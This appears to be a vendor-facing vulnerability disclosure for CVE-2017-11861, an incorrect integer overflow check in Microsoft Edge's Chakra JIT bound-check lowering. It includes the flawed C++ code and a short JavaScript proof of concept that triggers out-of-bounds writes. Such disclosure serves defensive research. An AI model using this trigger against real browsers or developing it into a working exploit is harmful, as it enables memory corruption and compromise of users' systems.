Microsoft Edge Charka JIT Incorrect Check

`Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck   
  
CVE-2017-11861  
  
  
Here's a snippet of the method.  
void Lowerer::LowerBoundCheck(IR::Instr *const instr)  
{  
...  
if(rightOpnd->IsIntConstOpnd())  
{  
IntConstType newOffset;  
if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)  
{  
offset = newOffset;  
rightOpnd = nullptr;  
offsetOpnd = nullptr;  
}  
}  
...  
if(!rightOpnd)  
{  
rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);  
}  
}  
  
At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.  
  
PoC:  
function f() {  
let arr = new Uint32Array(0x1000);  
for (let i = 0; i < 0x7fffffff;) {  
arr[++i] = 0x1234;  
}  
}  
  
f();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`